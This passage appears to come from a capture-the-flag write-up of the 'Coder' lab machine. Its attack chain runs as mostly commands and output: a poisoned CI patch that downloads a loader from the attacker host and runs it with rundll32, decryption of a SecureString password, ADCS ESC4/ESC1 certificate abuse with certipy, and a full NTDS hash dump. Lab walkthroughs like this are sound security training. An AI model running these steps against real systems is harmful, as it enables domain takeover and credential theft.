Great, now we have our Loader
and we are ready to go. Now we just need to create the patch and file and upload it to the server to get access to the server.
wget 10.10.14.137:8000/combase.dll -O C:\Windows\Temp\combase.dll; rundll32.exe C:\Windows\Temp\combase.dll,DllRegisterServer
I changed the write-host "Hello, World!"
to the new payload and generated a patch file with git diff
.
┌──(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]
└─$ git diff hello_world.ps1
diff --git a/hello_world.ps1 b/hello_world.ps1
index 09724d2..cd3a2d1 100644
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,2 @@
#Simple repo test for Teamcity pipeline
-write-host "Hello, World!"
+wget 10.10.14.137:8000/combase.dll -O C:\Windows\Temp\combase.dll; rundll32.exe C:\Windows\Temp\combase.dll,DllRegisterServer
So now all we need to do is upload the patch file and wait for sliver
to get a callback from the server.
[*] Beacon bc711cd7 PLANNED_MIGRANT - 10.129.229.190:60617 (dc01) - windows/amd64 - Wed, 27 Dec 2023 03:09:09 CET
So we can see that we got a session as svc_teamcity
sliver (ESTIMATED_CULTIVATOR) > whoami
Logon ID: CODER\svc_teamcity
[*] Current Token ID: CODER\svc_teamcity
sliver (ESTIMATED_CULTIVATOR) >
After a lot time enumrating i found he the folder that saved our patches. We can see that 101.changes.diff
is from 2022 and the rest of patches are these that i uploaded on the server.
PS C:\ProgramData\JetBrains\TeamCity\system\changes> ls
ls
Directory: C:\ProgramData\JetBrains\TeamCity\system\changes
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/8/2022 2:18 PM 1707 101.changes.diff
-a---- 12/26/2023 5:45 PM 247 201.changes.diff
-a---- 12/26/2023 5:48 PM 247 202.changes.diff
-a---- 12/26/2023 5:48 PM 334 203.changes.diff
-a---- 12/26/2023 5:58 PM 323 204.changes.diff
-a---- 12/26/2023 5:58 PM 323 205.changes.diff
-a---- 12/26/2023 6:00 PM 323 206.changes.diff
-a---- 12/26/2023 6:03 PM 323 207.changes.diff
-a---- 12/26/2023 6:07 PM 323 208.changes.diff
-a---- 12/26/2023 6:10 PM 323 209.changes.diff
-a---- 12/26/2023 6:18 PM 333 210.changes.diff
-a---- 12/26/2023 6:18 PM 333 211.changes.diff
Content of 101.changes.diff
diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122
Looking at this, I noticed that it was a Powershell Secure String
and its pretty easy to get the decrypted password since we have the key.
So I just copied the diff
file to my machine and with git apply
I just extracted and saved the change to my machine.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ git apply diff.git
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ ls
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 18:47:53 2023 authenticator_cracker/
rwxr-xr-x 2 ar0x ar0x 4 KiB Tue Dec 26 12:11:20 2023 Decrypted/
rwxr-xr-x 7 ar0x ar0x 4 KiB Wed Dec 27 02:15:57 2023 Migrations/
rwxr-xr-x 2 ar0x ar0x 4 KiB Tue Dec 26 10:39:10 2023 Temporary Projects/
rw-r--r-- 1 ar0x ar0x 9 MiB Wed Dec 27 03:16:27 2023 combase.dll
rw-r--r-- 1 ar0x ar0x 840 B Wed Dec 27 04:03:50 2023 diff.git
rw-r--r-- 1 ar0x ar0x 450 B Wed Dec 27 04:04:41 2023 enc.txt
rwx------ 1 ar0x ar0x 10 MiB Wed Dec 27 03:15:21 2023 ESTIMATED_CULTIVATOR.bin
rw-r--r-- 1 ar0x ar0x 117 B Wed Dec 27 04:04:41 2023 key.key
rw-r--r-- 1 ar0x ar0x 44 KiB Wed Dec 27 02:56:19 2023 nc.exe
rw-r--r-- 1 root root 3 KiB Tue Dec 26 10:29:28 2023 nmap
rw-r--r-- 1 ar0x ar0x 620 B Tue Dec 26 12:23:09 2023 sblade_authenticator.json
So now should start pwsh
on kali and start decrypting the Secure String
. First we have to read and store the key and then we have to read the Secure String
and create a Secure String
object from it and then we have to create a PSCredential
object with the created Secure String
object. Finally the GetNetworkCredential()
function will return the clear text password.
┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]
└─PS> $key = Get-Content ./key.key
┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]
└─PS> $pass = (Get-Content ./enc.txt | ConvertTo-SecureString -Key $key);
┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]
└─PS> $cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder.htb/e.black",$pass);
┌──(ar0x㉿kali)-[/home/ar0x/Desktop/HTB/Machines/Coder]
└─PS> $cred.GetNetworkCredential().Password
ypOSJXPqlDOxxbQSfEERy300
So let us test if we can log in with the new password we found as e.black
.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ netexec smb coder.htb -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
SMB 10.129.229.190 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.190 445 DC01 [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ netexec winrm coder.htb -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'
SMB 10.129.229.190 445 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:coder.htb)
WINRM 10.129.229.190 5985 DC01 [+] coder.htb\e.black:ypOSJXPqlDOxxbQSfEERy300 (Pwn3d!)
Very nice, the password worked and now we can use evil-winrm
to get PSSession
as e.black
on the system. After getting shell, we also get our first flag. NICE!
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ evil-winrm -i coder.htb -u e.black -p 'ypOSJXPqlDOxxbQSfEERy300'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\e.black\Documents> cat ../Desktop/user.txt
6312dec89306308a3a983b2acf13a9b0
So let us enumerate e.black
. Oh very interesting, e.black
is in the PKI Admins
group. This group is used for `ADCS certificate and template management'.
Note: PKI Admins
is not a default group. This is a custom group created in a corporate environment for specific administrative purposes related to PKI.
*Evil-WinRM* PS C:\Users\e.black\Documents> net user e.black
User name e.black
Full Name Erron Black
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 11/7/2022 11:40:31 AM
Password expires Never
Password changeable 11/8/2022 11:40:31 AM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/8/2022 2:05:01 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *PKI Admins
The command completed successfully.
*Evil-WinRM* PS C:\Users\e.black\Documents> net group "PKI Admins"
Group name PKI Admins
Comment ADCS Certificate and Template Management
Members
-------------------------------------------------------------------------------
e.black
The command completed successfully.
This means that we can manage the hole PKI. So the attack path is clear, create a vulnerable certificate template and then abuse it.
To create certificate templates without GUI, we need a tool called ADCSTemplate.
title: ADCSTemplate
A PowerShell module for exporting, importing, removing, permissioning, publishing Active Directory Certificate Templates. It also includes a DSC resource for creating AD CS templates using these functions. This was built with the intent of using DSC for rapid lab builds, but it could also be used in production environments to move templates between AD CS environments.
So I just uploaded the script to the machine and imported the module.
Actually the attack path we want to implement is ESC4 -> ESC1
which means we have control over a certificate template (ESC4) and then we can modify it and set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
(0x00000001) bitmask for the msPKI-Certificate-Name-Flag
property. (ESC1)
*Evil-WinRM* PS C:\Users\e.black\Documents> Export-ADCSTemplate -displayName Computer > computer.json
*Evil-WinRM* PS C:\Users\e.black\Documents> $computer = cat computer.json -raw | ConvertFrom-Json
*Evil-WinRM* PS C:\Users\e.black\Documents> $computer.'msPKI-Certificate-Name-Flag' = 0x1
*Evil-WinRM* PS C:\Users\e.black\Documents> $computer | ConvertTo-Json | Set-Content computer-mod-esc1.json
*Evil-WinRM* PS C:\Users\e.black\Documents> New-ADCSTemplate -DisplayName "Computer-ESC1" -Publish -JSON (cat computer-mod-esc1.json -raw)
*Evil-WinRM* PS C:\Users\e.black\Documents> Set-ADCSTemplateACL -DisplayName "Computer-ESC1" -type allow -identity 'coder\e.black' -enroll
The fist step to that, is exporting a current certificate template, in this case i exported the Comptuer
certificate. Than i read and saved the the certifiacte in json format in a variable. Now we can set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
for msPKI-Certificate-Name-Flag
property. Technically we are done, we have to just publish the certificate and allow e.black
to enroll to this certificate.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ certipy-ad find -username e.black@coder.htb -password 'ypOSJXPqlDOxxbQSfEERy300' -json -vulnerable
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'coder-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'coder-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'coder-DC01-CA' via RRP
[*] Got CA configuration for 'coder-DC01-CA'
[*] Saved JSON output to '20231227051420_Certipy.json'
If we have done everything correctly, certipy
should now show us Computer-ESC1
as a vulnerable certificate template.
{
"Certificate Authorities": {
"0": {
"CA Name": "coder-DC01-CA",
"DNS Name": "dc01.coder.htb",
"Certificate Subject": "CN=coder-DC01-CA, DC=coder, DC=htb",
"Certificate Serial Number": "2180F0D10CFECB9840260D0730724BDF",
"Certificate Validity Start": "2022-06-29 03:51:44+00:00",
"Certificate Validity End": "2052-06-29 04:01:44+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "CODER.HTB\\Administrators",
"Access Rights": {
"1": [
"CODER.HTB\\Administrators",
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Enterprise Admins"
],
"2": [
"CODER.HTB\\Administrators",
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Enterprise Admins"
],
"512": [
"CODER.HTB\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "Computer-ESC1",
"Display Name": "Computer-ESC1",
"Certificate Authorities": [
"coder-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"AutoEnrollment"
],
"Extended Key Usage": [
"Server Authentication",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CODER.HTB\\Erron Black"
]
},
"Object Control Permissions": {
"Owner": "CODER.HTB\\Erron Black",
"Full Control Principals": [
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Local System",
"CODER.HTB\\Enterprise Admins"
],
"Write Owner Principals": [
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Local System",
"CODER.HTB\\Enterprise Admins"
],
"Write Dacl Principals": [
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Local System",
"CODER.HTB\\Enterprise Admins"
],
"Write Property Principals": [
"CODER.HTB\\Domain Admins",
"CODER.HTB\\Local System",
"CODER.HTB\\Enterprise Admins"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'CODER.HTB\\\\Erron Black' can enroll, enrollee supplies subject and template allows client authentication",
"ESC4": "Template is owned by CODER.HTB\\Erron Black"
}
}
}
}
And yes, it does. Nice, we are almost domain admin. Now all we have to do is abuse this certificate. Now we have to request a certificate in the name of 'administrator' and if this succeeds we will get a pfx
file. After getting the `pfx' file we can log in to the domain as the administrator.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ certipy-ad req -username e.black@coder.htb -password 'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target coder.htb -template "Computer-ESC1" -upn "administrator@coder.htb"
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 19
[*] Got certificate with UPN 'administrator@coder.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
So we impersonated the certificate and successfully got the `pfx' file, and now we should just use that for authentication.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ certipy-ad auth -pfx administrator.pfx -domain coder.htb -ns `box`
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@coder.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@coder.htb': aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7
Voila, we have the NTLM hash of the domain admin and here we have our root flag.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ evil-winrm -u administrator -H 807726fcf9f188adc26eeafd7dc16bb7 -i coder.htb
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
3f100e76d55d9d847a41013adcece6bb
And also a dump of the NTDS
.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ secretsdump.py coder.htb/administrator@coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7 -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::
coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::
coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::
coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::
coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::
coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::
coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::
[*] Cleaning up...
- ADCSTemplate
- Detailed information about ADCS attacks
- Working with Teamcity CI/CD